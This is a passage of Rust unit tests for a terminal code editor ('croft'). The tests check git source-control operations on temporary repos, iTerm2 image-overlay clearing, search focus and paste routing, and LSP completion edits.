    // up to 2 s to respond, then drain. The response carries the
    // single untracked file we wrote above.
    let mut got_changes = false;
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    while std::time::Instant::now() < deadline {
        if app.drain_git_responses() && !app.source_control.entries.is_empty() {
            got_changes = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        got_changes,
        "the worker must reply with the dirty file's Changes entry; entries = {:?}",
        app.source_control.entries,
    );
}

#[test]
fn git_worker_status_response_feeds_the_explorer_ignored_set() {
    // End-to-end wiring for the greyed-out gitignored Explorer rows: the
    // worker's Status reply carries the ignored set and drain must push it
    // into the file tree, where descendants of a collapsed ignored dir
    // resolve via the ancestor walk.
    let tmp = tempfile::tempdir().unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["init", "-q", "-b", "main"])
        .output();
    std::fs::write(tmp.path().join(".gitignore"), "build/\n").unwrap();
    std::fs::create_dir(tmp.path().join("build")).unwrap();
    std::fs::write(tmp.path().join("build/out.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // App::new seeds one Status request; wait for its reply to land.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    while app.tree.ignored.is_empty() && std::time::Instant::now() < deadline {
        let _ = app.drain_git_responses();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.tree.is_ignored(&tmp.path().join("build")),
        "ignored dir must reach the tree; set = {:?}",
        app.tree.ignored,
    );
    assert!(
        app.tree.is_ignored(&tmp.path().join("build/out.txt")),
        "descendants of the collapsed ignored dir dim too"
    );
    assert!(!app.tree.is_ignored(&tmp.path().join(".gitignore")));
}

#[test]
fn resize_arms_a_one_shot_terminal_clear_to_evict_stale_activity_icons() {
    // Regression for the activity-bar icon ghosting after a pane reshape.
    // iTerm2 keeps OSC-1337 image cells in a layer that survives plain SGR
    // overwrites, so on resize the previously-painted icon bitmaps linger and
    // the re-emit stamps a second copy on top (the doubled Run/Debug icon).
    // A resize must arm the same one-shot `terminal.clear()` the view-change
    // path uses, so iTerm2 drops the stale layer before the icons re-emit.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Pretend init_graphics baked the activity-bar icon images — images mode
    // is the only state in which the stale layer can exist.
    app.overlays.activity.set_images(ActivityBarImages {
        explorer_active: String::new(),
        explorer_inactive: String::new(),
        explorer_hovered: String::new(),
        search_active: String::new(),
        search_inactive: String::new(),
        search_hovered: String::new(),
        source_control_active: String::new(),
        source_control_inactive: String::new(),
        source_control_hovered: String::new(),
        remote_active: String::new(),
        remote_inactive: String::new(),
        remote_hovered: String::new(),
        run_debug_active: String::new(),
        run_debug_inactive: String::new(),
        run_debug_hovered: String::new(),
        extensions_active: String::new(),
        extensions_inactive: String::new(),
        extensions_hovered: String::new(),
        testing_active: String::new(),
        testing_inactive: String::new(),
        testing_hovered: String::new(),
        codeql_active: String::new(),
        codeql_inactive: String::new(),
        codeql_hovered: String::new(),
        settings_active: String::new(),
        settings_inactive: String::new(),
        settings_hovered: String::new(),
        layout_sidebar_on: String::new(),
        layout_sidebar_on_hover: String::new(),
        layout_sidebar_off: String::new(),
        layout_sidebar_off_hover: String::new(),
        layout_panel_on: String::new(),
        layout_panel_on_hover: String::new(),
        layout_panel_off: String::new(),
        layout_panel_off_hover: String::new(),
        layout_customize: String::new(),
        layout_customize_hover: String::new(),
    });
    app.on_resize();
    assert!(
        app.consume_activity_image_clear(),
        "a pane resize must arm exactly one terminal.clear() so iTerm2 evicts the stale OSC-1337 activity-bar image layer",
    );
    assert!(
        !app.consume_activity_image_clear(),
        "the clear request must be one-shot — consuming twice in a row returns false",
    );
    assert!(
        app.overlays.activity.dirty(),
        "resize must also re-mark the icons dirty so the post-draw flush re-emits them after the clear",
    );
}

#[test]
fn activity_bar_icons_moving_within_the_flush_arms_a_one_shot_terminal_clear() {
    // Same emit-time move-detection the run-debug headline icon uses, applied
    // to the activity bar: when the icon cells shift since the last emit, the
    // post-draw flush must arm one terminal.clear() to evict iTerm2's stale
    // OSC-1337 image layer instead of stacking a fresh copy on top (the
    // doubled-icon ghost). This is trigger-agnostic — it fires for any layout
    // shift, not only the Event::Resize path that on_resize covers.
    use ratatui::layout::Rect;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.activity.set_images(ActivityBarImages {
        explorer_active: String::new(),
        explorer_inactive: String::new(),
        explorer_hovered: String::new(),
        search_active: String::new(),
        search_inactive: String::new(),
        search_hovered: String::new(),
        source_control_active: String::new(),
        source_control_inactive: String::new(),
        source_control_hovered: String::new(),
        remote_active: String::new(),
        remote_inactive: String::new(),
        remote_hovered: String::new(),
        run_debug_active: String::new(),
        run_debug_inactive: String::new(),
        run_debug_hovered: String::new(),
        extensions_active: String::new(),
        extensions_inactive: String::new(),
        extensions_hovered: String::new(),
        testing_active: String::new(),
        testing_inactive: String::new(),
        testing_hovered: String::new(),
        codeql_active: String::new(),
        codeql_inactive: String::new(),
        codeql_hovered: String::new(),
        settings_active: String::new(),
        settings_inactive: String::new(),
        settings_hovered: String::new(),
        layout_sidebar_on: String::new(),
        layout_sidebar_on_hover: String::new(),
        layout_sidebar_off: String::new(),
        layout_sidebar_off_hover: String::new(),
        layout_panel_on: String::new(),
        layout_panel_on_hover: String::new(),
        layout_panel_off: String::new(),
        layout_panel_off_hover: String::new(),
        layout_customize: String::new(),
        layout_customize_hover: String::new(),
    });
    let place = |app: &mut App, base: u16| {
        app.sidebar_areas.explorer_icon = Rect::new(0, base, 2, 1);
        app.sidebar_areas.search_icon = Rect::new(0, base + 2, 2, 1);
        app.sidebar_areas.source_control_icon = Rect::new(0, base + 4, 2, 1);
        app.sidebar_areas.remote_icon = Rect::new(0, base + 6, 2, 1);
        app.sidebar_areas.run_debug_icon = Rect::new(0, base + 8, 2, 1);
        app.sidebar_areas.extensions_icon = Rect::new(0, base + 10, 2, 1);
        app.sidebar_areas.testing_icon = Rect::new(0, base + 12, 2, 1);
    };
    // First emit at one layout: records the positions, arms no clear.
    place(&mut app, 2);
    app.overlays.activity.mark_dirty();
    app.flush_activity_image_overlays(&[]);
    assert!(
        !app.consume_activity_image_clear(),
        "the first emit has no prior positions to compare, so it must not arm a clear",
    );
    // A resize recenters the bar — every icon row shifts by one.
    place(&mut app, 3);
    app.overlays.activity.mark_dirty();
    app.flush_activity_image_overlays(&[]);
    assert!(
        app.consume_activity_image_clear(),
        "icons that moved since the last emit must arm one terminal.clear() to evict the stale image layer",
    );
    assert!(
        !app.consume_activity_image_clear(),
        "the clear request must be one-shot",
    );
}

#[test]
fn leaving_run_debug_after_emitting_the_icon_arms_a_one_shot_terminal_clear() {
    // Regression for the bug+play headline icon ghosting on top of
    // whichever sidebar replaced Run-Debug. iTerm2's OSC-1337 image
    // cells survive plain SGR overwrites, so the welcome / editor
    // pipelines arm a `terminal.clear()` on the next render to evict
    // them. Run-Debug needs the same gate.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Pretend init_graphics succeeded and the panel emitted the icon
    // while the user was on Run-Debug.
    app.overlays
        .run_debug
        .set_image("\x1b]1337;File=...\x07".to_string());
    app.set_sidebar_view(SidebarView::RunDebug);
    app.run_debug.last_icon_cell = Some((10, 5));
    app.flush_run_debug_icon_overlay();
    assert!(
        app.overlays.run_debug.was_emitted(),
        "test setup: the flush must record the emit position"
    );
    // Switch away. The clear flag must be armed so the main loop's
    // OR chain fires `terminal.clear()` once before the next draw.
    app.set_sidebar_view(SidebarView::Explorer);
    assert!(
        app.consume_run_debug_image_clear(),
        "leaving Run-Debug after emitting the icon must arm exactly one terminal.clear() so iTerm2's image cells are evicted",
    );
    assert!(
        !app.consume_run_debug_image_clear(),
        "the clear request must be one-shot — consuming twice in a row returns false",
    );
}

#[test]
fn flush_run_debug_icon_overlay_is_silent_when_panel_is_not_visible() {
    // Critical invariant: when the user has switched away from
    // Run-Debug, the post-draw flush MUST NOT write any wipe payload
    // (no spaces, no replacement OSC). The prior space-stamp wipe
    // fired AFTER the redraw and erased the freshly-painted next
    // sidebar in those cells. Eviction is now handled exclusively
    // by `terminal.clear()` via `consume_run_debug_image_clear`.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays
        .run_debug
        .set_image("\x1b]1337;File=...\x07".to_string());
    app.set_sidebar_view(SidebarView::RunDebug);
    app.run_debug.last_icon_cell = Some((10, 5));
    app.flush_run_debug_icon_overlay();
    assert_eq!(app.overlays.run_debug.last_emitted(), Some((10, 5)));
    // Switch away.
    app.set_sidebar_view(SidebarView::Explorer);
    // The flush in this state must clear last_emitted but emit
    // nothing (we can only assert the bookkeeping side effect here;
    // the absence of stdout writes is asserted indirectly by the
    // function returning early before the write_all call).
    app.flush_run_debug_icon_overlay();
    assert_eq!(
        app.overlays.run_debug.last_emitted(),
        None,
        "flush on a hidden panel must reset last_emitted so a re-entry primes a fresh emit",
    );
}

#[test]
fn run_debug_icon_moving_within_a_visible_panel_arms_a_one_shot_terminal_clear() {
    // Regression for the doubled/stacked headline-icon ghost: when the
    // panel stays on Run-Debug but a layout change (terminal resize OR an
    // internal pane-drag, which never fires Event::Resize) recenters the
    // icon, the next flush would emit a fresh OSC-1337 image at the new
    // cell while iTerm2 still caches the old one — two overlapping icons.
    // The flush must instead detect the move, arm exactly one
    // terminal.clear() to evict the stale cells, and skip re-emitting until
    // the clear has run (last_emitted reset to None primes a fresh emit).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays
        .run_debug
        .set_image("\x1b]1337;File=...\x07".to_string());
    app.set_sidebar_view(SidebarView::RunDebug);
    app.run_debug.last_icon_cell = Some((10, 5));
    app.flush_run_debug_icon_overlay();
    assert_eq!(app.overlays.run_debug.last_emitted(), Some((10, 5)));
    // A resize / pane-drag recenters the icon to a new cell while the panel
    // is still the active, visible Run-Debug view.
    app.run_debug.last_icon_cell = Some((3, 2));
    app.flush_run_debug_icon_overlay();
    assert!(
        app.consume_run_debug_image_clear(),
        "an icon that moved within the visible panel must arm one terminal.clear() to evict the stale image cells",
    );
    assert!(
        !app.consume_run_debug_image_clear(),
        "the clear request must be one-shot",
    );
    assert_eq!(
        app.overlays.run_debug.last_emitted(),
        None,
        "the move branch must reset last_emitted so the post-clear frame re-emits a single clean icon",
    );
}

#[test]
fn tree_context_menu_on_workspace_root_offers_new_file_and_new_folder_only() {
    // Right-clicking the workspace root row must NOT offer Rename/Delete
    // (the root cannot be renamed or moved to trash from inside croft).
    let tmp = tempfile::tempdir().unwrap();
    let n = dir_node(tmp.path());
    let items = build_tree_context_menu_items(Some(&n), tmp.path(), &[], tmp.path(), None, None);
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(labels, ["New File", "New Folder"]);
}

#[test]
fn bracketed_paste_into_search_input_appends_to_query() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("foo");
    app.handle_paste("bar");
    assert_eq!(app.search.query, "foobar");
}

#[test]
fn bracketed_paste_into_search_strips_newlines() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.handle_paste("hello\nworld\r\n");
    assert_eq!(app.search.query, "helloworld");
}

#[test]
fn search_view_focuses_search_input_not_terminal_or_tree() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    app.handle_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(app.focus == Pane::Tree);
    assert!(app.search.focused);
    assert!(!app.tree.focused);
    assert!(!app.terminal().focused);
}

#[test]
fn cycling_focus_away_from_search_clears_search_focus_flag() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.cycle_focus();
    assert!(!app.search.focused);
}

#[test]
fn search_editing_shortcuts_route_to_search_only_when_the_search_input_is_focused() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    assert!(
        app.focus == Pane::Tree,
        "Search view focuses the side panel"
    );
    app.search.query = String::from("alpha");
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.search.selection_range(), Some((0, 5)));
}

#[test]
fn search_visible_does_not_steal_editing_shortcuts_from_a_focused_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    app.search.query = String::from("alpha");
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.search.selection_range(),
        None,
        "Cmd+A must act on the focused terminal, not the search query"
    );
}

#[test]
fn search_visible_routes_cmd_v_to_search_only_when_search_input_focused() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.clipboard_reader = || Some(String::from("needle"));
    app.set_sidebar_view(SidebarView::Search);

    app.handle_key(key(KeyCode::Char('v'), KeyModifiers::SUPER))
        .unwrap();

    assert_eq!(app.search.query, "needle");
}

#[test]
fn search_visible_routes_cmd_v_to_terminal_not_search_when_terminal_focused() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.clipboard_reader = || Some(String::from("needle"));
    app.set_sidebar_view(SidebarView::Search);
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);

    app.handle_key(key(KeyCode::Char('v'), KeyModifiers::SUPER))
        .unwrap();

    assert_eq!(
        app.search.query, "",
        "Cmd+V must paste into the focused terminal, not leak into the search query"
    );
}

#[test]
fn source_control_stages_a_toplevel_entry_from_a_subdir_workspace() {
    // #139: porcelain paths are toplevel-relative, but every Source
    // Control operation ran `git -C <workspace_root>` with them as
    // cwd-relative pathspecs. A workspace rooted in a repo SUBDIR could
    // not stage anything living outside that subdir.
    let outer = tempfile::tempdir().unwrap();
    let repo = outer.path().join("repo");
    std::fs::create_dir(&repo).unwrap();
    for args in [
        vec!["init", "-q", "-b", "main"],
        vec!["config", "user.email", "a@b"],
        vec!["config", "user.name", "a"],
    ] {
        let ok = std::process::Command::new("git")
            .args(["-C"])
            .arg(&repo)
            .args(&args)
            .status()
            .map(|s| s.success())
            .unwrap_or(false);
        assert!(ok, "git setup step failed: {args:?}");
    }
    std::fs::write(repo.join("seed.txt"), "one\ntwo\n").unwrap();
    let sub = repo.join("crates").join("foo");
    std::fs::create_dir_all(&sub).unwrap();
    std::fs::write(sub.join("keep.txt"), "x\n").unwrap();
    for args in [vec!["add", "."], vec!["commit", "-qm", "init"]] {
        let ok = std::process::Command::new("git")
            .args(["-C"])
            .arg(&repo)
            .args(&args)
            .status()
            .map(|s| s.success())
            .unwrap_or(false);
        assert!(ok, "git setup step failed: {args:?}");
    }
    // A tracked TOPLEVEL file goes dirty while the workspace opens the
    // subdirectory two levels down.
    std::fs::write(repo.join("seed.txt"), "one\ntwo\nthree\n").unwrap();

    let mut app = App::new(sub.clone()).unwrap();
    app.refresh_source_control();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    let mut entry_idx = None;
    while std::time::Instant::now() < deadline {
        let _ = app.drain_git_responses();
        if let Some(i) = app
            .source_control
            .entries
            .iter()
            .position(|e| e.path == "seed.txt")
        {
            entry_idx = Some(i);
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    let entry_idx = entry_idx
        .expect("the panel lists the toplevel-relative porcelain entry from a subdir workspace");
    assert_eq!(
        app.scm_root().canonicalize().unwrap(),
        repo.canonicalize().unwrap(),
        "the discovered repo root rides the status reply"
    );

    app.stage_source_control_entry(entry_idx);

    let staged = std::process::Command::new("git")
        .args(["-C"])
        .arg(&repo)
        .args(["diff", "--cached", "--name-only"])
        .output()
        .unwrap();
    assert!(staged.status.success(), "git diff --cached failed");
    assert!(
        String::from_utf8_lossy(&staged.stdout).contains("seed.txt"),
        "staging from the panel must address the file by its toplevel-relative path; \
         `git -C <subdir> add seed.txt` matches nothing"
    );
}

#[test]
fn change_workspace_root_into_a_git_subdir_flips_source_control_into_repo_state() {
    // Regression for the user's "Make Root into a .git-bearing folder
    // doesn't update Source Control" bug: the git worker thread was
    // spawned ONCE with the initial root captured by value. After
    // change_workspace_root, the worker kept shelling git status
    // against the OLD root, so the Source Control panel stayed in
    // its no-repo empty state even though the new root was a real
    // git tree.
    let outer = tempfile::tempdir().unwrap();
    let repo = outer.path().join("repo");
    std::fs::create_dir(&repo).unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(&repo)
        .args(["init", "-q", "-b", "main"])
        .output();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(&repo)
        .args(["config", "user.email", "a@b"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(&repo)
        .args(["config", "user.name", "a"])
        .status();
    let mut app = App::new(outer.path().to_path_buf()).unwrap();
    std::thread::sleep(std::time::Duration::from_millis(150));
    let _ = app.drain_git_responses();
    assert!(
        !app.source_control.status.in_repo,
        "preconditions: outer dir must NOT be a git repo"
    );

    app.change_workspace_root(repo.clone());

    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    let mut flipped = false;
    while std::time::Instant::now() < deadline {
        if app.drain_git_responses() && app.source_control.status.in_repo {
            flipped = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        flipped,
        "after Make Root into a real git tree the worker must re-query against the new root and the Source Control panel must report in_repo=true; saw status={:?}",
        app.source_control.status,
    );
    assert_eq!(app.source_control.status.branch.as_deref(), Some("main"));
}

fn make_committed_repo() -> tempfile::TempDir {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(p)
        .args(["init", "-q", "-b", "main"])
        .output();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(p)
        .args(["config", "user.email", "a@b"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(p)
        .args(["config", "user.name", "a"])
        .status();
    std::fs::write(p.join("seed.txt"), b"seed\n").unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(p)
        .args(["add", "seed.txt"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(p)
        .args(["commit", "-q", "-m", "init"])
        .status();
    tmp
}

fn wait_for_changes(app: &mut App, predicate: impl Fn(&App) -> bool) -> bool {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    let mut next_kick = std::time::Instant::now();
    while std::time::Instant::now() < deadline {
        if std::time::Instant::now() >= next_kick {
            app.refresh_source_control();
            next_kick = std::time::Instant::now() + std::time::Duration::from_millis(200);
        }
        app.drain_git_responses();
        if predicate(app) {
            return true;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    predicate(app)
}

#[test]
fn stage_source_control_entry_runs_git_add_and_flips_kind_to_staged() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(
                |e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::Modified
            )),
        "preconditions: seed.txt must appear as Modified"
    );
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.stage_source_control_entry(idx);
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(
                |e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::StagedModified
            )),
        "after stage_source_control_entry the file must read as StagedModified; saw {:?}",
        app.source_control.entries,
    );
}

#[test]
fn stage_all_source_control_then_unstage_all_round_trips_every_entry() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    std::fs::write(tmp.path().join("fresh.txt"), b"new\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        wait_for_changes(&mut app, |a| a.source_control.entries.len() >= 2),
        "preconditions: both files must show as changes"
    );
    app.stage_all_source_control();
    assert!(
        wait_for_changes(&mut app, |a| !a.source_control.entries.is_empty()
            && a.source_control
                .entries
                .iter()
                .all(|e| e.kind.section() == crate::git::ChangeSection::Staged)),
        "after Stage All every entry must read as staged; saw {:?}",
        app.source_control.entries,
    );
    app.unstage_all_source_control();
    assert!(
        wait_for_changes(&mut app, |a| !a.source_control.entries.is_empty()
            && a.source_control
                .entries
                .iter()
                .all(|e| e.kind.section() != crate::git::ChangeSection::Staged)),
        "after Unstage All nothing must remain staged; saw {:?}",
        app.source_control.entries,
    );
}

#[test]
fn discard_all_requires_confirmation_and_then_reverts_tracked_changes() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"dirty edit\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    // Requesting discard-all only arms the confirm modal; the file is untouched.
    app.request_discard_all_source_control();
    assert!(
        app.pending_discard_all,
        "Discard All must arm a confirmation rather than act immediately"
    );
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("seed.txt")).unwrap(),
        "dirty edit\n",
        "the working tree must be untouched until the user confirms"
    );
    app.confirm_pending_discard_all();
    assert!(!app.pending_discard_all, "confirming clears the modal");
    assert!(
        wait_for_changes(&mut app, |_| std::fs::read_to_string(
            tmp.path().join("seed.txt")
        )
        .map(|s| !s.contains("dirty edit"))
        .unwrap_or(false)),
        "after confirming, the tracked edit must be reverted to HEAD"
    );
}

#[test]
fn create_tag_via_the_menu_opens_an_input_then_creates_the_tag() {
    use crate::widgets::input_prompt::InputPurpose;
    use crate::widgets::scm_menu::ScmAction;
    let tmp = make_committed_repo();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.dispatch_scm_action(ScmAction::CreateTag);
    let prompt = app
        .input_prompt
        .as_ref()
        .expect("Create Tag must open an input prompt");
    assert_eq!(prompt.purpose, InputPurpose::CreateTag);
    for c in "v9.9.9".chars() {
        app.input_prompt.as_mut().unwrap().push_char(c);
    }
    app.submit_input_prompt();
    assert!(app.input_prompt.is_none(), "submitting closes the prompt");
    assert!(
        crate::git::list_tags(tmp.path())
            .unwrap()
            .contains(&"v9.9.9".to_string()),
        "the tag must exist after submitting the Create Tag input"
    );
}

#[test]
fn delete_branch_via_the_menu_opens_the_branch_picker_in_delete_mode() {
    use crate::widgets::scm_menu::ScmAction;
    let tmp = make_committed_repo();
    crate::git::create_branch(tmp.path(), "doomed").unwrap();
    crate::git::checkout_branch(tmp.path(), "main").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.dispatch_scm_action(ScmAction::DeleteBranch);
    assert!(
        app.branch_picker.is_some(),
        "Delete Branch opens the branch picker"
    );
    assert_eq!(app.branch_purpose, crate::app::BranchPurpose::Delete);
}

/// Drain the network git operation in flight until it lands.
fn wait_for_git_net(app: &mut App) {
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the network git operation",
        || {
            app.drain_git_net();
            app.git_net_job.is_none()
        },
    );
}

/// A push runs on a worker: the call returns with the operation in flight,
/// a second one is refused while it runs, and the result lands on a drain.
#[test]
fn a_push_runs_off_the_ui_thread_and_reports_when_it_lands() {
    let tmp = make_committed_repo();
    let bare = tempfile::tempdir().unwrap();
    let git = |dir: &std::path::Path, args: &[&str]| {
        std::process::Command::new("git")
            .arg("-C")
            .arg(dir)
            .args(args)
            .output()
            .unwrap()
    };
    git(bare.path(), &["init", "-q", "--bare"]);
    git(
        tmp.path(),
        &["remote", "add", "origin", bare.path().to_str().unwrap()],
    );
    git(tmp.path(), &["push", "-q", "-u", "origin", "main"]);
    std::fs::write(tmp.path().join("seed.txt"), b"two\n").unwrap();
    git(tmp.path(), &["commit", "-qam", "two"]);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.push_source_control();
    assert!(app.git_net_job.is_some(), "the push is in flight");
    app.pull_source_control();
    assert!(app.status.contains("still running"), "{}", app.status);
    wait_for_git_net(&mut app);
    assert!(
        !app.source_control.commit_feedback_is_error,
        "{:?}",
        app.source_control.commit_feedback
    );
    let remote_head = git(bare.path(), &["rev-parse", "main"]).stdout;
    let local_head = git(tmp.path(), &["rev-parse", "HEAD"]).stdout;
    assert_eq!(remote_head, local_head);
}

/// Opening a config file must not reload the active tab in place: it held
/// unsaved edits to another file, which were silently discarded.
#[test]
fn opening_a_config_file_keeps_the_active_tabs_unsaved_edits() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    std::fs::write(&a, "saved\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.lines = vec![String::from("unsaved")];
    app.editor.dirty = true;
    let layer = tmp.path().join(".croft").join("config.json");
    std::fs::create_dir_all(layer.parent().unwrap()).unwrap();
    app.open_config_file_in_editor(layer.clone(), ConfigFileSeed::SettingsLayer);
    assert_eq!(app.editor.path.as_deref(), Some(layer.as_path()));
    let kept = app
        .editor
        .editors
        .iter()
        .find(|e| e.path.as_deref() == Some(a.as_path()))
        .expect("a.txt still has its tab");
    assert!(kept.dirty);
    assert_eq!(kept.lines, vec![String::from("unsaved")]);
}

#[test]
fn bounded_output_gives_up_on_a_command_that_hangs() {
    let started = std::time::Instant::now();
    let budget = std::time::Duration::from_millis(500);
    assert!(
        bounded_output(
            std::process::Command::new("sh").args(["-c", "sleep 30"]),
            budget
        )
        .is_none()
    );
    assert!(
        bounded_output(
            std::process::Command::new("sh").args(["-c", "exec 1>&-; sleep 30"]),
            budget
        )
        .is_none()
    );
    assert!(started.elapsed() < std::time::Duration::from_secs(10));
    let (status, out) = bounded_output(
        std::process::Command::new("sh").args(["-c", "printf 42"]),
        std::time::Duration::from_secs(10),
    )
    .unwrap();
    assert!(status.success());
    assert_eq!(out, b"42");
}

/// The accept shifts the server's ranges by what was typed or deleted since
/// the request, applies the auto-import in the request's coordinates, is one
/// undo step, and credits the text to the server (#349).
#[test]
fn a_completion_accept_tracks_the_caret_and_is_one_generated_undo_step() {
    use crate::widgets::editor::TextSpanEdit;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Requested at `abc|)`, then one Backspace: `ab|)`.
    app.editor.lines = vec![String::from("ab)")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 2;
    app.completion_origin = Some((0, 3));
    let item = crate::lsp::CompletionItem {
        label: String::from("abcdef"),
        text_edit: Some(TextSpanEdit {
            start: (0, 0),
            end: (0, 3),
            new_text: String::from("abcdef"),
            utf16: true,
        }),
        ..Default::default()
    };
    assert!(app.accept_completion_edit(&item));
    assert_eq!(app.editor.lines, vec![String::from("abcdef)")]);
    assert_eq!(app.editor.cursor_col, 6);
    // A same-row additional edit lands where the server meant it, and the
    // whole accept is one undo step credited to the server.
    app.editor.lines = vec![String::from("x = fo; y"), String::from("z")];
    app.editor.provenance = crate::provenance::Provenance::new();
    app.editor.cursor_col = 6;
    app.completion_origin = Some((0, 6));
    let before = app.editor.lines.clone();
    let item = crate::lsp::CompletionItem {
        label: String::from("foobar"),
        text_edit: Some(TextSpanEdit {
            start: (0, 4),
            end: (0, 6),
            new_text: String::from("foobar"),
            utf16: true,
        }),
        additional_edits: vec![TextSpanEdit {
            start: (0, 9),
            end: (0, 9),
            new_text: String::from("Z"),
            utf16: true,
        }],
        ..Default::default()
    };
    assert!(app.accept_completion_edit(&item));
    assert_eq!(app.editor.lines[0], "x = foobar; yZ");
    assert_eq!(app.editor.cursor_col, 10);
    assert_eq!(
        app.editor.provenance.seat(0),
        Some(&crate::provenance::Seat::Generated)
    );
    app.editor.undo();
    assert_eq!(app.editor.lines, before, "one accept is one undo step");
}

/// A completion is accepted by the server's own edit: TypeScript's `?.foo`
/// replaces the `.` before the word (croft produced `a.?.foo`), letters
/// typed since the request go too, and an auto-import lands with it.
#[test]
fn a_completion_applies_its_text_edit_and_additional_edits() {
    use crate::widgets::editor::TextSpanEdit;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.lines = vec![String::from("a.f")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 3;
    let item = crate::lsp::CompletionItem {
        label: String::from("foo"),
        // Requested at `a.` (col 2); `f` was typed since.
        text_edit: Some(TextSpanEdit {
            start: (0, 1),
            end: (0, 2),
            new_text: String::from("?.foo"),
            utf16: true,
        }),
        additional_edits: vec![TextSpanEdit {
            start: (0, 0),
            end: (0, 0),
            new_text: String::from("import { x } from 'x';\n"),
            utf16: true,
        }],
        ..Default::default()
    };
    assert!(app.accept_completion_edit(&item));
    assert_eq!(
        app.editor.lines,
        vec![
            String::from("import { x } from 'x';"),
            String::from("a?.foo")
        ]
    );
